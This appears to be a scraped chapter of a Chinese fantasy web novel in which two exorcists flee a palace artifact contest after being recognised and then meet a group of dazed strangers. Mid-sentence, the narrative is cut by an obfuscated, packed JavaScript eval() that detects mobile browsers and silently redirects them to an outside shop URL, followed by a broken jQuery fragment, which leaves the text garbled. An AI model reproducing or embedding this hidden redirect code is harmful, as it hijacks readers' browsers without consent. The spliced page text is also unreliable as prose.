我看着上两层的权贵们,把一张张朱红纸条投进宫女太监们的彩碗里,摇摇头说:
“不是讨赏,是计票,应该是拿票数的多少来判定法器的厉害程度。”
胡为民看着那些朱红色的票纸开始流口水:
“这要是能换成银票,我不就发财了?”
我白了胡为民一眼。
一个一人吃饱,全家不饿的主儿,真不知道他要那么多钱干什么?
赛台上的年轻人收起法铃和恶鬼,到台下去等票数出来。
一个和他同样年纪,但是身量矮小的年轻人上了赛台。
这个小个子青年很实在,上台后没有一句废话,只把一根截魔棍耍的虎虎生风。
胡为民看的热闹,我却皱起了眉头。
截魔棍,已经脱离驱杀恶鬼的范围了,属于妖魔一道的。
说起妖魔和鬼,它们还是有很大区别的。鬼是人死后形成的东西,而妖魔是那些活的年头长了,自己炼化出人形的草木兽物。
吞天藤算是妖魔里的一种,因为它的原身是一根柳树条 子。
就在我琢磨着赛台上的小个子,不知道他会在万众瞩目的情况下,能截杀怎样的一个妖魔时,只见那小个子突然脚底打滑,整个人头往后仰,然后就重重地从赛台上摔了下来。
原来是之前那个法铃收恶鬼时留的那滩黑血,被小个子不偏不倚地踩到了。
这一下给小个子摔的太狠,后脑勺撞到地上,发出“咚”的一巨声,所有听见的人都觉得自己的脑袋也疼。
小个子晕了过去,被人抬走时还紧紧地握着他的截魔棍。
可惜了,我还等着看他捉个花妖树怪什么的出来,没想到他却这么收场了。
这时,胡为民突然戳了戳我的胳膊:
“山桥,看那个人。”
胡为民说着,就拿眼睛往看台的二层去看。我顺着胡为民的目光去看,果然发现了一个熟悉的身影。
竟然是玄清道长的大师兄,那个明明是个女子,却偏偏长了一副男儿相的大师兄。
自从上次在蒋莽的地下豢鬼局分开后,我们都不知道这个女大师兄是不是还活着。她当时从血祭台上摔下去,明明满地都是血,但是就是不见她的人。
真没想到,这个一身粗骨壮肉的女师兄,竟然活着。而且也不知道她使了什么手段,竟然能上到二层的看台,和朝中重臣们一般坐起。
还记得玄清道长说过,女师兄就是为了金钱和名利才进宫做事的。
只不过她在渡莱山的悬崖下设法阵,那是给皇上出力。在蒋莽的地下豢鬼局,不用说都是给蒋莽跑腿。所以我有点搞不清了,她到底吃的哪家的饭?
我左右看了看女师兄的周围,猛然发现在她身后的一把高椅上,竟然坐着蒋莽。
难道女师兄是给蒋莽做事的?
我不敢确定,或许女师兄只是没有资格坐到最高一层去,但是这也不能说明她不是给皇上出力。
可是不管怎么说,被女师兄认出来,就已经是一件麻烦事了。
蒋莽还不知道有人闯进过他的豢鬼局,虽然进去的人没有给他造成多大损失,但是这个秘密就不应该让人知道。
更糟糕的是,我和胡为民还把羽洛公主带出来了。如果这件事也被蒋莽发现了,那他肯定是死也不会放过我和胡为民的。。
原因就是,羽洛公主是被皇上害死的,后来又被蒋莽利用。所以皇上肯定不希望羽洛公主再活过来。而蒋莽,更不敢让皇上知道,羽洛公主不但活着,还被他利用了。
我越想心里越发毛,总感觉要出大事。
这时,胡为民突然问我:
“山桥,你说她还认不认得出我们?”
我摇摇头:
“地下那么黑,应该认不出吧?”
我和胡为民说着话,眼睛一直往女师兄那边看。结果好巧不巧的,就和她的目光对上了。
只见女师兄先是一愣,紧接着就是不敢相信的表情。等她竭力地伸着脑袋想看过来时,我已经拉着胡为民离开了。
不用说,只看女师兄刚才一愣一惊的表情,就知道她已经认出了我和胡为民。
这绝对是一件千分万分糟糕的事,这下,别说是参加斗法器大赛了,我们现在连站在这里看别人斗法器的资格都没有。
胡为民还不知道女师兄发现了我们,他被我拉出人群后还要回去看热闹,我说:
“别看了,再看命都没了。”
胡为民回头看了一眼赛台:
“啥意思?那男道姑发现我们了?”
我点点头,左右看看,找了条来回了几次的出宫路就准备离开:
“宫里不能待了,我们得出去避避风头。”
胡为民不甘心:
“山桥,你不是说拿不到斗法器大赛的名次,我们就没办法在宫里待吗?那我们现在走算怎么回事?”
我说:
“名次重要,命更重要。要是那女师兄把我们去豢鬼局的事告诉蒋莽,咱俩就完了。”
胡为民一听,也明白了事情的轻重缓急:
“可是,我们能去哪里避风头?平王府还靠着你的
三清符阵护着,我们总不能去那吧?”
我摇摇头:
“当然不能去。”
胡为民想了想又问:
“去潘神医的府上?他老人家当初可是从宫里出来的御医,蒋莽或许不敢对他怎样。”
我继续摇头:
“你只说或许,又不能真的肯定蒋莽会念旧情。万一他知道我们和潘神医来往密切,拿潘神医威胁我们,我们要不要”妥协?”
胡为民挠挠头:
“那还能去哪?吕府?”
我还是挠头:
“吕老爷只是个财大气粗的商人,蒋莽怎么可能给他面子?”
胡为民还在绞尽脑汁想去处,我拍拍他的肩膀说:
“别费脑子了,我们哪里也不去,就直接带着扎罗阿的尸身下阴曹地府,我就不信蒋莽能追到地下去。”
胡为民眼睛一亮,立马就哈哈上了:
“山桥,你这脑子应该是新的吧?”
我不知道胡为民什么意思:
“什么新的旧的?”
胡为民拍着我的后脑勺说:
“我发现新脑子就是好使,老是能在我觉得绝望的时候,想出一个绝妙的注意来。”
胡为民夸的如此这般的赤 裸裸的,倒给我整不会了。
“行了,我们赶紧离开吧。我怕那个女师兄已经告密了我们,那一切都来不及了。”
可是刚走没两步,胡为民又突然停下:
“山桥,我们是不是忘了把依染带出来?”
我本来低头猛冲着往前走,胡为民一句话,我又毫不犹豫掉头回来,脚下一点都不停的往依染的方向走:
“去找依染,没有她,我们去了阴曹地府也没用。”
我和胡为民匆匆反身,眼看着拐过一个弯就到了依染歇息的地方,可偏偏从那个拐弯处也走过来一队人。
此时,我和胡为民的周围只有高耸入云的宫墙,想要掉头回去躲开那些人已经来不及了。
那些人有男有女,穿衣打扮稀奇古怪,有绫罗绸缎,有粗布旧衣,怎么看都不可能是宫里的人。
我和胡为民判断不来那些人的身份,但是也不敢胡乱造次,只是低着头促在墙根,想等他们过去后,赶紧把依染接出来。
可是,就在我和胡为民等着那些人从我们身边过去时,他们竟然也停下了。
这是什么意思?是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14230783|151330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和我们一样,都等着对方过去?还是说他们的目标就是我俩,现在要准备开战了?
胡为民见对方不动,先从兜里摸出一把符纸来。
只见胡为民“呸”地一声吐了点唾沫,一边查符纸有几张,一边对我说:
“山桥,你数数对面是几个人?我先给他们一人赏一张符纸贴贴。”
我瞪了胡为民一眼:
“大哥,你故意的吧?对面的是人,不是鬼。你有那功夫贴符纸,还不如吼一嗓子,好歹能吓的他们哆嗦一下。”
胡为民嘿嘿一乐,然后又紧张起来:
“这帮人,还不如一群鬼让我看着踏实。你说他们想干什么啊?”
我也不知道,但是我也不敢过去和他们打招呼。所谓人多力量大,我和胡为民只有两个人,他们粗粗一看都十好几个。这要是群殴起来,我和胡为民只有挨打的份。
可是,就这么僵持着也不是办法。我急着接依染出来,万一耽搁的久了,女师兄和蒋莽的人再追过来,那我和胡为民就要抓瞎了。
我跺了跺脚,给自己增加点胆气,然后对胡为民说:
“大哥,我们就当什么都没看见,直接走过去再说。”
胡为民也不是怕事的人,胸脯一挺就说:
“走,他们要是敢拦道儿,我就放几只恶鬼出来。”
胡为民说的放恶鬼,可能有点夸大其词。但是我知道他身上背着桐油鬼皮伞,那里面确实藏了几只小鬼。
虽然我和胡为民是驱鬼师,不杀鬼反而放鬼有点不合乎情理。但是眼前的情况太古怪,要是我和胡为民打不过对方,也只能放小鬼出来收拾他们。
主意打定,我和胡为民就做出一副天不怕地不怕的样子走了过去。
让我和胡为民万万没想到的是,我和胡为民这边抬脚,那群人也同时抬脚。
这下,把我和胡为民整的更不会了。
这群人见样学样,根本不是一群正常人做事的路数啊。
但是我和胡为民既然已经往前走了,突然停下就会显得我们很怂。
为了在气势上不让那群人小看,我和胡为民只能硬着头皮继续往前走。
很快,我们两拨人就迎面走到了一处。
胡为民嘴里嘀咕着:
“一,二,三,四,五……山桥,对面有十三个人,你说咱俩能打得过他们吗?”
胡为民总想着打架,这让我觉得很不舒服。可是看对方奇怪的行径,我感觉他们不动手,我和胡为民都会出手。
终于,两拨人面对面了。
我腿肚子有点抽抽,但还是强压着心里的恐惧继续往前走。
我和胡为民目不斜视,两个人只盼着赶紧和那群人相安无事的错过。
可是,就在两拨人马
上要擦肩而过的瞬间,那群人里年纪最大的一个老者突然停下脚步,然后他们所有人都停了下来。
而我和胡为民也不由自主的停下来。
然后那老者就用一种颇为沮丧和无奈的口气说话了:
“看来老夫猜的没错,二位果然是看得见我们的。”
我心想这老者怎么说这样一句废话?你们这么多人呼啦啦拥过来,我想不看见也不行啊。
胡为民性子耿,张嘴就对那老者说:
“什么叫看得见你们?难道你们看不见我们哥俩?”
只见那老者唉声叹气了一道后才说:
“他们看不见你们,只有老夫我一个人能看得到你们。”
那老者这么一说,我和胡为民才发现除了老者外,其他的男女老幼都是一副痴痴呆呆的样子。
就在这时,我突然发现人群里,一个一直低着头的女子让我有点眼熟。
我指着那女子对老者说:
“她是谁?”